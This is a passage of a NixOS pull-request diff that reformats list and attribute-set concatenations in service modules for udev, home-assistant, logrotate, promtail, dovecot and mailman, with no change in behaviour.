+        "${cfg.package}/lib/NetworkManager/dispatcher.d/99tlp-rdw-nm";
+    };
 
     environment.systemPackages = [ cfg.package ];
 
diff --git a/nixos/modules/services/hardware/udev.nix b/nixos/modules/services/hardware/udev.nix
index 0d5a001c0e59..c7890d11dd2d 100644
--- a/nixos/modules/services/hardware/udev.nix
+++ b/nixos/modules/services/hardware/udev.nix
@@ -463,7 +463,8 @@ in
       "${config.boot.initrd.systemd.package}/lib/udev/cdrom_id"
       "${config.boot.initrd.systemd.package}/lib/udev/scsi_id"
       "${config.boot.initrd.systemd.package}/lib/udev/rules.d"
-    ] ++ map (x: "${x}/bin") config.boot.initrd.services.udev.binPackages;
+    ]
+    ++ map (x: "${x}/bin") config.boot.initrd.services.udev.binPackages;
 
     # Generate the udev rules for the initrd
     boot.initrd.systemd.contents = {
@@ -491,22 +492,21 @@ in
       ))
     ];
 
-    environment.etc =
-      {
-        "udev/rules.d".source = udevRulesFor {
-          name = "udev-rules";
-          udevPackages = cfg.packages;
-          systemd = config.systemd.package;
-          binPackages = cfg.packages;
-          inherit udevPath udev;
-        };
-        "udev/hwdb.bin".source = hwdbBin;
-      }
-      // lib.optionalAttrs config.boot.modprobeConfig.enable {
-        # We don't place this into `extraModprobeConfig` so that stage-1 ramdisk doesn't bloat.
-        "modprobe.d/firmware.conf".text =
-          "options firmware_class path=${config.hardware.firmware}/lib/firmware";
+    environment.etc = {
+      "udev/rules.d".source = udevRulesFor {
+        name = "udev-rules";
+        udevPackages = cfg.packages;
+        systemd = config.systemd.package;
+        binPackages = cfg.packages;
+        inherit udevPath udev;
       };
+      "udev/hwdb.bin".source = hwdbBin;
+    }
+    // lib.optionalAttrs config.boot.modprobeConfig.enable {
+      # We don't place this into `extraModprobeConfig` so that stage-1 ramdisk doesn't bloat.
+      "modprobe.d/firmware.conf".text =
+        "options firmware_class path=${config.hardware.firmware}/lib/firmware";
+    };
 
     system.requiredKernelConfig = with config.lib.kernelConfig; [
       (isEnabled "UNIX")
diff --git a/nixos/modules/services/hardware/udisks2.nix b/nixos/modules/services/hardware/udisks2.nix
index 88e24fea6c72..cbde9ca600d0 100644
--- a/nixos/modules/services/hardware/udisks2.nix
+++ b/nixos/modules/services/hardware/udisks2.nix
@@ -100,7 +100,8 @@ in
 
     systemd.tmpfiles.rules = [
       "d /var/lib/udisks2 0755 root root -"
-    ] ++ lib.optional cfg.mountOnMedia "D! /media 0755 root root -";
+    ]
+    ++ lib.optional cfg.mountOnMedia "D! /media 0755 root root -";
 
     services.udev.packages = [ cfg.package ];
 
diff --git a/nixos/modules/services/hardware/vdr.nix b/nixos/modules/services/hardware/vdr.nix
index 59aaffcb1264..063ecc1d8dc9 100644
--- a/nixos/modules/services/hardware/vdr.nix
+++ b/nixos/modules/services/hardware/vdr.nix
@@ -74,12 +74,11 @@ in
       serviceConfig = {
         ExecStart =
           let
-            args =
-              [
-                "--video=${cfg.videoDir}"
-              ]
-              ++ optional cfg.enableLirc "--lirc=${config.passthru.lirc.socket}"
-              ++ cfg.extraArguments;
+            args = [
+              "--video=${cfg.videoDir}"
+            ]
+            ++ optional cfg.enableLirc "--lirc=${config.passthru.lirc.socket}"
+            ++ cfg.extraArguments;
           in
           "${cfg.package}/bin/vdr ${lib.escapeShellArgs args}";
         User = cfg.user;
@@ -101,7 +100,8 @@ in
         extraGroups = [
           "video"
           "audio"
-        ] ++ optional cfg.enableLirc "lirc";
+        ]
+        ++ optional cfg.enableLirc "lirc";
       };
     };
 
diff --git a/nixos/modules/services/home-automation/esphome.nix b/nixos/modules/services/home-automation/esphome.nix
index 6f06a704166f..7a66b8ec19f2 100644
--- a/nixos/modules/services/home-automation/esphome.nix
+++ b/nixos/modules/services/home-automation/esphome.nix
@@ -93,7 +93,8 @@ in
       environment = {
         # platformio fails to determine the home directory when using DynamicUser
         PLATFORMIO_CORE_DIR = "${stateDir}/.platformio";
-      } // lib.optionalAttrs cfg.usePing { ESPHOME_DASHBOARD_USE_PING = "true"; };
+      }
+      // lib.optionalAttrs cfg.usePing { ESPHOME_DASHBOARD_USE_PING = "true"; };
 
       serviceConfig = {
         ExecStart = "${cfg.package}/bin/esphome dashboard ${esphomeParams} ${stateDir}";
diff --git a/nixos/modules/services/home-automation/home-assistant.nix b/nixos/modules/services/home-automation/home-assistant.nix
index 2887e5754173..ec53dcbc0543 100644
--- a/nixos/modules/services/home-automation/home-assistant.nix
+++ b/nixos/modules/services/home-automation/home-assistant.nix
@@ -231,18 +231,17 @@ in
 
     extraComponents = mkOption {
       type = types.listOf (types.enum availableComponents);
-      default =
-        [
-          # List of components required to complete the onboarding
-          "default_config"
-          "met"
-          "esphome"
-        ]
-        ++ optionals pkgs.stdenv.hostPlatform.isAarch [
-          # Use the platform as an indicator that we might be running on a RaspberryPi and include
-          # relevant components
-          "rpi_power"
-        ];
+      default = [
+        # List of components required to complete the onboarding
+        "default_config"
+        "met"
+        "esphome"
+      ]
+      ++ optionals pkgs.stdenv.hostPlatform.isAarch [
+        # Use the platform as an indicator that we might be running on a RaspberryPi and include
+        # relevant components
+        "rpi_power"
+      ];
       example = literalExpression ''
         [
           "analytics"
@@ -913,16 +912,15 @@ in
               allowPaths = if isList value then value else singleton value;
             in
             [ "${cfg.configDir}" ] ++ allowPaths;
-          RestrictAddressFamilies =
-            [
-              "AF_INET"
-              "AF_INET6"
-              "AF_NETLINK"
-              "AF_UNIX"
-            ]
-            ++ optionals (any useComponent componentsUsingBluetooth) [
-              "AF_BLUETOOTH"
-            ];
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+            "AF_NETLINK"
+            "AF_UNIX"
+          ]
+          ++ optionals (any useComponent componentsUsingBluetooth) [
+            "AF_BLUETOOTH"
+          ];
           RestrictNamespaces = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
@@ -930,15 +928,14 @@ in
             "dialout"
           ];
           SystemCallArchitectures = "native";
-          SystemCallFilter =
-            [
-              "@system-service"
-              "~@privileged"
-            ]
-            ++ optionals (any useComponent componentsUsingPing) [
-              "capset"
-              "setuid"
-            ];
+          SystemCallFilter = [
+            "@system-service"
+            "~@privileged"
+          ]
+          ++ optionals (any useComponent componentsUsingPing) [
+            "capset"
+            "setuid"
+          ];
           UMask = "0077";
         };
       path = [
diff --git a/nixos/modules/services/logging/awstats.nix b/nixos/modules/services/logging/awstats.nix
index 5cd2eee77d5d..e7fb18cc5a35 100644
--- a/nixos/modules/services/logging/awstats.nix
+++ b/nixos/modules/services/logging/awstats.nix
@@ -215,10 +215,11 @@ in
     ) cfg.configs;
 
     # create data directory with the correct permissions
-    systemd.tmpfiles.rules =
-      [ "d '${cfg.dataDir}' 755 root root - -" ]
-      ++ lib.mapAttrsToList (name: opts: "d '${cfg.dataDir}/${name}' 755 root root - -") cfg.configs
-      ++ [ "Z '${cfg.dataDir}' 755 root root - -" ];
+    systemd.tmpfiles.rules = [
+      "d '${cfg.dataDir}' 755 root root - -"
+    ]
+    ++ lib.mapAttrsToList (name: opts: "d '${cfg.dataDir}/${name}' 755 root root - -") cfg.configs
+    ++ [ "Z '${cfg.dataDir}' 755 root root - -" ];
 
     # nginx options
     services.nginx.virtualHosts = lib.mapAttrs' (name: opts: {
diff --git a/nixos/modules/services/logging/logrotate.nix b/nixos/modules/services/logging/logrotate.nix
index b85af47d0f28..92878f055ce8 100644
--- a/nixos/modules/services/logging/logrotate.nix
+++ b/nixos/modules/services/logging/logrotate.nix
@@ -314,56 +314,55 @@ in
       ];
       startAt = "hourly";
 
-      serviceConfig =
-        {
-          Type = "oneshot";
-          ExecStart = "${lib.getExe pkgs.logrotate} ${utils.escapeSystemdExecArgs cfg.extraArgs} ${mailOption} ${cfg.configFile}";
+      serviceConfig = {
+        Type = "oneshot";
+        ExecStart = "${lib.getExe pkgs.logrotate} ${utils.escapeSystemdExecArgs cfg.extraArgs} ${mailOption} ${cfg.configFile}";
 
-          # performance
-          Nice = 19;
-          IOSchedulingClass = "best-effort";
-          IOSchedulingPriority = 7;
+        # performance
+        Nice = 19;
+        IOSchedulingClass = "best-effort";
+        IOSchedulingPriority = 7;
 
-          # hardening
-          CapabilityBoundingSet = [
-            "CAP_CHOWN"
-            "CAP_DAC_OVERRIDE"
-            "CAP_FOWNER"
-            "CAP_KILL"
-            "CAP_SETUID"
-            "CAP_SETGID"
-          ];
-          DevicePolicy = "closed";
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          NoNewPrivileges = true;
-          PrivateDevices = true;
-          PrivateTmp = true;
-          ProcSubset = "pid";
-          ProtectClock = true;
-          ProtectControlGroups = true;
-          ProtectHome = true;
-          ProtectHostname = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          ProtectSystem = "full";
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          RestrictSUIDSGID = false; # can create sgid directories
-          SystemCallArchitectures = "native";
-          SystemCallFilter = [
-            "@system-service"
-            "~@privileged @resources"
-            "@chown @setuid"
-          ];
-          UMask = "0027";
-        }
-        // lib.optionalAttrs (!cfg.allowNetworking) {
-          PrivateNetwork = true; # e.g. mail delivery
-          RestrictAddressFamilies = [ "AF_UNIX" ];
-        };
+        # hardening
+        CapabilityBoundingSet = [
+          "CAP_CHOWN"
+          "CAP_DAC_OVERRIDE"
+          "CAP_FOWNER"
+          "CAP_KILL"
+          "CAP_SETUID"
+          "CAP_SETGID"
+        ];
+        DevicePolicy = "closed";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateTmp = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "full";
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = false; # can create sgid directories
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged @resources"
+          "@chown @setuid"
+        ];
+        UMask = "0027";
+      }
+      // lib.optionalAttrs (!cfg.allowNetworking) {
+        PrivateNetwork = true; # e.g. mail delivery
+        RestrictAddressFamilies = [ "AF_UNIX" ];
+      };
     };
     systemd.services.logrotate-checkconf = {
       description = "Logrotate configuration check";
diff --git a/nixos/modules/services/logging/promtail.nix b/nixos/modules/services/logging/promtail.nix
index 634c3a888020..89985a983304 100644
--- a/nixos/modules/services/logging/promtail.nix
+++ b/nixos/modules/services/logging/promtail.nix
@@ -70,47 +70,46 @@ in
         ${lib.getExe pkgs.promtail} -config.file=${configFile} -check-syntax
       '';
 
-      serviceConfig =
-        {
-          Restart = "on-failure";
-          TimeoutStopSec = 10;
+      serviceConfig = {
+        Restart = "on-failure";
+        TimeoutStopSec = 10;
 
-          ExecStart = "${pkgs.promtail}/bin/promtail -config.file=${configFile} ${escapeShellArgs cfg.extraFlags}";
+        ExecStart = "${pkgs.promtail}/bin/promtail -config.file=${configFile} ${escapeShellArgs cfg.extraFlags}";
 
-          ProtectSystem = "strict";
-          ProtectHome = true;
-          PrivateTmp = true;
-          PrivateDevices = true;
-          ProtectKernelTunables = true;
-          ProtectControlGroups = true;
-          RestrictSUIDSGID = true;
-          PrivateMounts = true;
-          CacheDirectory = "promtail";
-          ReadWritePaths = lib.optional allowPositionsFile (builtins.dirOf positionsFile);
+        ProtectSystem = "strict";
+        ProtectHome = true;
+        PrivateTmp = true;
+        PrivateDevices = true;
+        ProtectKernelTunables = true;
+        ProtectControlGroups = true;
+        RestrictSUIDSGID = true;
+        PrivateMounts = true;
+        CacheDirectory = "promtail";
+        ReadWritePaths = lib.optional allowPositionsFile (builtins.dirOf positionsFile);
 
-          User = "promtail";
-          Group = "promtail";
+        User = "promtail";
+        Group = "promtail";
 
-          CapabilityBoundingSet = "";
-          NoNewPrivileges = true;
+        CapabilityBoundingSet = "";
+        NoNewPrivileges = true;
 
-          ProtectKernelModules = true;
-          SystemCallArchitectures = "native";
-          ProtectKernelLogs = true;
-          ProtectClock = true;
+        ProtectKernelModules = true;
+        SystemCallArchitectures = "native";
+        ProtectKernelLogs = true;
+        ProtectClock = true;
 
-          LockPersonality = true;
-          ProtectHostname = true;
-          RestrictRealtime = true;
-          MemoryDenyWriteExecute = true;
-          PrivateUsers = true;
+        LockPersonality = true;
+        ProtectHostname = true;
+        RestrictRealtime = true;
+        MemoryDenyWriteExecute = true;
+        PrivateUsers = true;
 
-          SupplementaryGroups = lib.optional (allowSystemdJournal) "systemd-journal";
-        }
-        // (optionalAttrs (!pkgs.stdenv.hostPlatform.isAarch64) {
-          # FIXME: figure out why this breaks on aarch64
-          SystemCallFilter = "@system-service";
-        });
+        SupplementaryGroups = lib.optional (allowSystemdJournal) "systemd-journal";
+      }
+      // (optionalAttrs (!pkgs.stdenv.hostPlatform.isAarch64) {
+        # FIXME: figure out why this breaks on aarch64
+        SystemCallFilter = "@system-service";
+      });
     };
 
     users.groups.promtail = { };
diff --git a/nixos/modules/services/mail/dovecot.nix b/nixos/modules/services/mail/dovecot.nix
index 01b9c278c630..cf9bd040b6bc 100644
--- a/nixos/modules/services/mail/dovecot.nix
+++ b/nixos/modules/services/mail/dovecot.nix
@@ -80,15 +80,14 @@ let
 
   # Those settings are automatically set based on other parts
   # of this module.
-  automaticallySetPluginSettings =
-    [
-      "sieve_plugins"
-      "sieve_extensions"
-      "sieve_global_extensions"
-      "sieve_pipe_bin_dir"
-    ]
-    ++ (builtins.attrNames sieveScriptSettings)
-    ++ (builtins.attrNames imapSieveMailboxSettings);
+  automaticallySetPluginSettings = [
+    "sieve_plugins"
+    "sieve_extensions"
+    "sieve_global_extensions"
+    "sieve_pipe_bin_dir"
+  ]
+  ++ (builtins.attrNames sieveScriptSettings)
+  ++ (builtins.attrNames imapSieveMailboxSettings);
 
   # The idea is to match everything that looks like `$term =`
   # but not `# $term something something`
@@ -657,38 +656,37 @@ in
       );
     };
 
-    users.users =
-      {
-        dovenull = {
-          uid = config.ids.uids.dovenull2;
-          description = "Dovecot user for untrusted logins";
-          group = "dovenull";
-        };
-      }
-      // optionalAttrs (cfg.user == "dovecot2") {
-        dovecot2 = {
-          uid = config.ids.uids.dovecot2;
-          description = "Dovecot user";
-          group = cfg.group;
-        };
-      }
-      // optionalAttrs (cfg.createMailUser && cfg.mailUser != null) {
-        ${cfg.mailUser} = {
-          description = "Virtual Mail User";
-          isSystemUser = true;
-        } // optionalAttrs (cfg.mailGroup != null) { group = cfg.mailGroup; };
+    users.users = {
+      dovenull = {
+        uid = config.ids.uids.dovenull2;
+        description = "Dovecot user for untrusted logins";
+        group = "dovenull";
       };
+    }
+    // optionalAttrs (cfg.user == "dovecot2") {
+      dovecot2 = {
+        uid = config.ids.uids.dovecot2;
+        description = "Dovecot user";
+        group = cfg.group;
+      };
+    }
+    // optionalAttrs (cfg.createMailUser && cfg.mailUser != null) {
+      ${cfg.mailUser} = {
+        description = "Virtual Mail User";
+        isSystemUser = true;
+      }
+      // optionalAttrs (cfg.mailGroup != null) { group = cfg.mailGroup; };
+    };
 
-    users.groups =
-      {
-        dovenull.gid = config.ids.gids.dovenull2;
-      }
-      // optionalAttrs (cfg.group == "dovecot2") {
-        dovecot2.gid = config.ids.gids.dovecot2;
-      }
-      // optionalAttrs (cfg.createMailUser && cfg.mailGroup != null) {
-        ${cfg.mailGroup} = { };
-      };
+    users.groups = {
+      dovenull.gid = config.ids.gids.dovenull2;
+    }
+    // optionalAttrs (cfg.group == "dovecot2") {
+      dovecot2.gid = config.ids.gids.dovecot2;
+    }
+    // optionalAttrs (cfg.createMailUser && cfg.mailGroup != null) {
+      ${cfg.mailGroup} = { };
+    };
 
     environment.etc."dovecot/dovecot.conf".source = cfg.configFile;
 
@@ -714,44 +712,43 @@ in
       # When copying sieve scripts preserve the original time stamp
       # (should be 0) so that the compiled sieve script is newer than
       # the source file and Dovecot won't try to compile it.
-      preStart =
-        ''
-          rm -rf ${stateDir}/sieve ${stateDir}/imapsieve
-        ''
-        + optionalString (cfg.sieve.scripts != { }) ''
-          mkdir -p ${stateDir}/sieve
-          ${concatStringsSep "\n" (
-            mapAttrsToList (to: from: ''
-              if [ -d '${from}' ]; then
-                mkdir '${stateDir}/sieve/${to}'
-                cp -p "${from}/"*.sieve '${stateDir}/sieve/${to}'
-              else
-                cp -p '${from}' '${stateDir}/sieve/${to}'
-              fi
-              ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/sieve/${to}'
-            '') cfg.sieve.scripts
-          )}
-          chown -R '${cfg.mailUser}:${cfg.mailGroup}' '${stateDir}/sieve'
-        ''
-        + optionalString (cfg.imapsieve.mailbox != [ ]) ''
-          mkdir -p ${stateDir}/imapsieve/{before,after}
+      preStart = ''
+        rm -rf ${stateDir}/sieve ${stateDir}/imapsieve
+      ''
+      + optionalString (cfg.sieve.scripts != { }) ''
+        mkdir -p ${stateDir}/sieve
+        ${concatStringsSep "\n" (
+          mapAttrsToList (to: from: ''
+            if [ -d '${from}' ]; then
+              mkdir '${stateDir}/sieve/${to}'
+              cp -p "${from}/"*.sieve '${stateDir}/sieve/${to}'
+            else
+              cp -p '${from}' '${stateDir}/sieve/${to}'
+            fi
+            ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/sieve/${to}'
+          '') cfg.sieve.scripts
+        )}
+        chown -R '${cfg.mailUser}:${cfg.mailGroup}' '${stateDir}/sieve'
+      ''
+      + optionalString (cfg.imapsieve.mailbox != [ ]) ''
+        mkdir -p ${stateDir}/imapsieve/{before,after}
 
-          ${concatMapStringsSep "\n" (
-            el:
-            optionalString (el.before != null) ''
-              cp -p ${el.before} ${stateDir}/imapsieve/before/${baseNameOf el.before}
-              ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/imapsieve/before/${baseNameOf el.before}'
-            ''
-            + optionalString (el.after != null) ''
-              cp -p ${el.after} ${stateDir}/imapsieve/after/${baseNameOf el.after}
-              ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/imapsieve/after/${baseNameOf el.after}'
-            ''
-          ) cfg.imapsieve.mailbox}
+        ${concatMapStringsSep "\n" (
+          el:
+          optionalString (el.before != null) ''
+            cp -p ${el.before} ${stateDir}/imapsieve/before/${baseNameOf el.before}
+            ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/imapsieve/before/${baseNameOf el.before}'
+          ''
+          + optionalString (el.after != null) ''
+            cp -p ${el.after} ${stateDir}/imapsieve/after/${baseNameOf el.after}
+            ${pkgs.dovecot_pigeonhole}/bin/sievec '${stateDir}/imapsieve/after/${baseNameOf el.after}'
+          ''
+        ) cfg.imapsieve.mailbox}
 
-          ${optionalString (
-            cfg.mailUser != null && cfg.mailGroup != null
-          ) "chown -R '${cfg.mailUser}:${cfg.mailGroup}' '${stateDir}/imapsieve'"}
-        '';
+        ${optionalString (
+          cfg.mailUser != null && cfg.mailGroup != null
+        ) "chown -R '${cfg.mailUser}:${cfg.mailGroup}' '${stateDir}/imapsieve'"}
+      '';
     };
 
     environment.systemPackages = [ dovecotPkg ];
diff --git a/nixos/modules/services/mail/mailman.nix b/nixos/modules/services/mail/mailman.nix
index d9940cb4d98f..8d49474cb1f7 100644
--- a/nixos/modules/services/mail/mailman.nix
+++ b/nixos/modules/services/mail/mailman.nix
@@ -21,37 +21,37 @@ let
 
   # This deliberately doesn't use recursiveUpdate so users can
   # override the defaults.
-  webSettings =
-    {
-      DEFAULT_FROM_EMAIL = cfg.siteOwner;
-      SERVER_EMAIL = cfg.siteOwner;
-      ALLOWED_HOSTS = [
-        "localhost"
-        "127.0.0.1"
-      ] ++ cfg.webHosts;
-      COMPRESS_OFFLINE = true;
-      STATIC_ROOT = "/var/lib/mailman-web-static";
-      MEDIA_ROOT = "/var/lib/mailman-web/media";
-      LOGGING = {
-        version = 1;
-        disable_existing_loggers = true;
-        handlers.console.class = "logging.StreamHandler";
-        loggers.django = {
-          handlers = [ "console" ];
-          level = "INFO";
-        };
+  webSettings = {
+    DEFAULT_FROM_EMAIL = cfg.siteOwner;
+    SERVER_EMAIL = cfg.siteOwner;
+    ALLOWED_HOSTS = [
+      "localhost"
+      "127.0.0.1"
+    ]
+    ++ cfg.webHosts;
+    COMPRESS_OFFLINE = true;
+    STATIC_ROOT = "/var/lib/mailman-web-static";
+    MEDIA_ROOT = "/var/lib/mailman-web/media";
+    LOGGING = {
+      version = 1;
+      disable_existing_loggers = true;
+      handlers.console.class = "logging.StreamHandler";
+      loggers.django = {
+        handlers = [ "console" ];
+        level = "INFO";
       };
-      HAYSTACK_CONNECTIONS.default = {
-        ENGINE = "haystack.backends.whoosh_backend.WhooshEngine";
-        PATH = "/var/lib/mailman-web/fulltext-index";
-      };
-    }
-    // lib.optionalAttrs cfg.enablePostfix {
-      EMAIL_BACKEND = "django.core.mail.backends.smtp.EmailBackend";
-      EMAIL_HOST = "127.0.0.1";
-      EMAIL_PORT = 25;
-    }
-    // cfg.webSettings;
+    };
+    HAYSTACK_CONNECTIONS.default = {
+      ENGINE = "haystack.backends.whoosh_backend.WhooshEngine";
+      PATH = "/var/lib/mailman-web/fulltext-index";
+    };
+  }
+  // lib.optionalAttrs cfg.enablePostfix {
+    EMAIL_BACKEND = "django.core.mail.backends.smtp.EmailBackend";
+    EMAIL_HOST = "127.0.0.1";
+    EMAIL_PORT = 25;
+  }
+  // cfg.webSettings;
 
   webSettingsJSON = pkgs.writeText "settings.json" (builtins.toJSON webSettings);
 
@@ -343,60 +343,59 @@ in
 
   config = lib.mkIf cfg.enable {
 
-    services.mailman.settings =
-      {
-        mailman.site_owner = lib.mkDefault cfg.siteOwner;
-        mailman.layout = "fhs";
+    services.mailman.settings = {
+      mailman.site_owner = lib.mkDefault cfg.siteOwner;
+      mailman.layout = "fhs";
 
-        "paths.fhs" = {
-          bin_dir = "${pkgs.mailmanPackages.mailman}/bin";
-          var_dir = "/var/lib/mailman";
-          queue_dir = "$var_dir/queue";
-          template_dir = "$var_dir/templates";
-          log_dir = "/var/log/mailman";
-          lock_dir = "/run/mailman/lock";
-          etc_dir = "/etc";
-          pid_file = "/run/mailman/master.pid";
-        };
+      "paths.fhs" = {
+        bin_dir = "${pkgs.mailmanPackages.mailman}/bin";
+        var_dir = "/var/lib/mailman";
+        queue_dir = "$var_dir/queue";
+        template_dir = "$var_dir/templates";
+        log_dir = "/var/log/mailman";
+        lock_dir = "/run/mailman/lock";
+        etc_dir = "/etc";
+        pid_file = "/run/mailman/master.pid";
+      };
 
-        mta.configuration = lib.mkDefault (
-          if cfg.enablePostfix then
-            "${postfixMtaConfig}"
-          else
-            throw "When Mailman Postfix integration is disabled, set `services.mailman.settings.mta.configuration` to the path of the config file required to integrate with your MTA."
-        );
-
-        "archiver.hyperkitty" = lib.mkIf cfg.hyperkitty.enable {
-          class = "mailman_hyperkitty.Archiver";
-          enable = "yes";
-          configuration = "/var/lib/mailman/mailman-hyperkitty.cfg";
-        };
-      }
-      // (
-        let
-          loggerNames = [
-            "root"
-            "archiver"
-            "bounce"
-            "config"
-            "database"
-            "debug"
-            "error"
-            "fromusenet"
-            "http"
-            "locks"
-            "mischief"
-            "plugins"
-            "runner"
-            "smtp"
-          ];
-          loggerSectionNames = map (n: "logging.${n}") loggerNames;
-        in
-        lib.genAttrs loggerSectionNames (name: {
-          handler = "stderr";
-        })
+      mta.configuration = lib.mkDefault (
+        if cfg.enablePostfix then
+          "${postfixMtaConfig}"
+        else
+          throw "When Mailman Postfix integration is disabled, set `services.mailman.settings.mta.configuration` to the path of the config file required to integrate with your MTA."
       );
 
+      "archiver.hyperkitty" = lib.mkIf cfg.hyperkitty.enable {
+        class = "mailman_hyperkitty.Archiver";
+        enable = "yes";
+        configuration = "/var/lib/mailman/mailman-hyperkitty.cfg";
+      };
+    }
+    // (
+      let
+        loggerNames = [
+          "root"
+          "archiver"
+          "bounce"
+          "config"
+          "database"
+          "debug"
+          "error"
+          "fromusenet"
+          "http"
+          "locks"
+          "mischief"
+          "plugins"
+          "runner"
+          "smtp"
+        ];
+        loggerSectionNames = map (n: "logging.${n}") loggerNames;
+      in
+      lib.genAttrs loggerSectionNames (name: {
+        handler = "stderr";
+      })
+    );
+
     assertions =
       let
         inherit (config.services) postfix;
@@ -537,21 +536,20 @@ in
         # Only mailman-related stuff is installed, the rest is removed
         # in `postBuild`.
         ignoreCollisions = true;
-        postBuild =
-          ''
-            find $out/bin/ -mindepth 1 -not -name "mailman*" -delete
-          ''
-          + lib.optionalString config.security.sudo.enable ''
-            mv $out/bin/mailman $out/bin/.mailman-wrapped
-            echo '#!${pkgs.runtimeShell}
-            sudo=exec
-            if [[ "$USER" != mailman ]]; then
-              sudo="exec /run/wrappers/bin/sudo -u mailman"
-            fi
-            $sudo ${placeholder "out"}/bin/.mailman-wrapped "$@"
-            ' > $out/bin/mailman
-            chmod +x $out/bin/mailman
-          '';
+        postBuild = ''
+          find $out/bin/ -mindepth 1 -not -name "mailman*" -delete
+        ''
+        + lib.optionalString config.security.sudo.enable ''
+          mv $out/bin/mailman $out/bin/.mailman-wrapped
+          echo '#!${pkgs.runtimeShell}
+          sudo=exec
+          if [[ "$USER" != mailman ]]; then
+            sudo="exec /run/wrappers/bin/sudo -u mailman"
+          fi
+          $sudo ${placeholder "out"}/bin/.mailman-wrapped "$@"
+          ' > $out/bin/mailman
+          chmod +x $out/bin/mailman
+        '';
       })
     ];
 
@@ -567,201 +565,202 @@ in
       before = [ "nginx.service" ];
       socketConfig.ListenStream = "/run/mailman-web.socket";
     };
-    systemd.services =
-      {
-        mailman = {
-          description = "GNU Mailman Master Process";
-          before = lib.optional cfg.enablePostfix "postfix.service";
-          after =
-            [ "network.target" ]
-            ++ lib.optional cfg.enablePostfix "postfix-setup.service"
-            ++ lib.optional withPostgresql "postgresql.service";
-          restartTriggers = [ mailmanCfgFile ];
-          requires = lib.optional withPostgresql "postgresql.service";
-          wantedBy = [ "multi-user.target" ];
-          serviceConfig = {
-            ExecStart = "${mailmanEnv}/bin/mailman start";
-            ExecStop = "${mailmanEnv}/bin/mailman stop";
-            User = "mailman";
-            Group = "mailman";
-            Type = "forking";
-            RuntimeDirectory = "mailman";
-            LogsDirectory = "mailman";
-            PIDFile = "/run/mailman/master.pid";
-            Restart = "on-failure";
-            TimeoutStartSec = 180;
-            TimeoutStopSec = 180;
-          };
+    systemd.services = {
+      mailman = {
+        description = "GNU Mailman Master Process";
+        before = lib.optional cfg.enablePostfix "postfix.service";
+        after = [
+          "network.target"
+        ]
+        ++ lib.optional cfg.enablePostfix "postfix-setup.service"
+        ++ lib.optional withPostgresql "postgresql.service";
+        restartTriggers = [ mailmanCfgFile ];
+        requires = lib.optional withPostgresql "postgresql.service";
+        wantedBy = [ "multi-user.target" ];
+        serviceConfig = {
+          ExecStart = "${mailmanEnv}/bin/mailman start";
+          ExecStop = "${mailmanEnv}/bin/mailman stop";
+          User = "mailman";
+          Group = "mailman";
+          Type = "forking";
+          RuntimeDirectory = "mailman";
+          LogsDirectory = "mailman";
+          PIDFile = "/run/mailman/master.pid";
+          Restart = "on-failure";
+          TimeoutStartSec = 180;
+          TimeoutStopSec = 180;
         };
+      };
 
-        mailman-settings = {
-          description = "Generate settings files (including secrets) for Mailman";
-          before = [
-            "mailman.service"
-            "mailman-web-setup.service"
-            "mailman-uwsgi.service"
-            "hyperkitty.service"
-          ];
-          requiredBy = [
-            "mailman.service"
-            "mailman-web-setup.service"
-            "mailman-uwsgi.service"
-            "hyperkitty.service"
-          ];
-          path = with pkgs; [ jq ];
-          after = lib.optional withPostgresql "postgresql.service";
-          requires = lib.optional withPostgresql "postgresql.service";
-          serviceConfig.RemainAfterExit = true;
-          serviceConfig.Type = "oneshot";
-          script = ''
-            install -m0750 -o mailman -g mailman ${mailmanCfgFile} /etc/mailman.cfg
-            ${
-              if cfg.restApiPassFile == null then
-                ''
-                  sed -i "s/#NIXOS_MAILMAN_REST_API_PASS_SECRET#/$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)/g" \
-                    /etc/mailman.cfg
-                ''
-              else
-                ''
-                  ${pkgs.replace-secret}/bin/replace-secret \
-                    '#NIXOS_MAILMAN_REST_API_PASS_SECRET#' \
-                    ${cfg.restApiPassFile} \
-                    /etc/mailman.cfg
-                ''
-            }
-
-            mailmanDir=/var/lib/mailman
-            mailmanWebDir=/var/lib/mailman-web
-
-            mailmanCfg=$mailmanDir/mailman-hyperkitty.cfg
-            mailmanWebCfg=$mailmanWebDir/settings_local.json
-
-            install -m 0775 -o mailman -g mailman -d /var/lib/mailman-web-static
-            install -m 0770 -o mailman -g mailman -d $mailmanDir
-            install -m 0770 -o ${cfg.webUser} -g mailman -d $mailmanWebDir
-
-            if [ ! -e $mailmanWebCfg ]; then
-                hyperkittyApiKey=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)
-                secretKey=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)
-
-                install -m 0440 -o root -g mailman \
-                  <(jq -n '.MAILMAN_ARCHIVER_KEY=$archiver_key | .SECRET_KEY=$secret_key' \
-                    --arg archiver_key "$hyperkittyApiKey" \
-                    --arg secret_key "$secretKey") \
-                  "$mailmanWebCfg"
-            fi
-
-            hyperkittyApiKey="$(jq -r .MAILMAN_ARCHIVER_KEY "$mailmanWebCfg")"
-            mailmanCfgTmp=$(mktemp)
-            sed "s/@API_KEY@/$hyperkittyApiKey/g" ${mailmanHyperkittyCfg} >"$mailmanCfgTmp"
-            chown mailman:mailman "$mailmanCfgTmp"
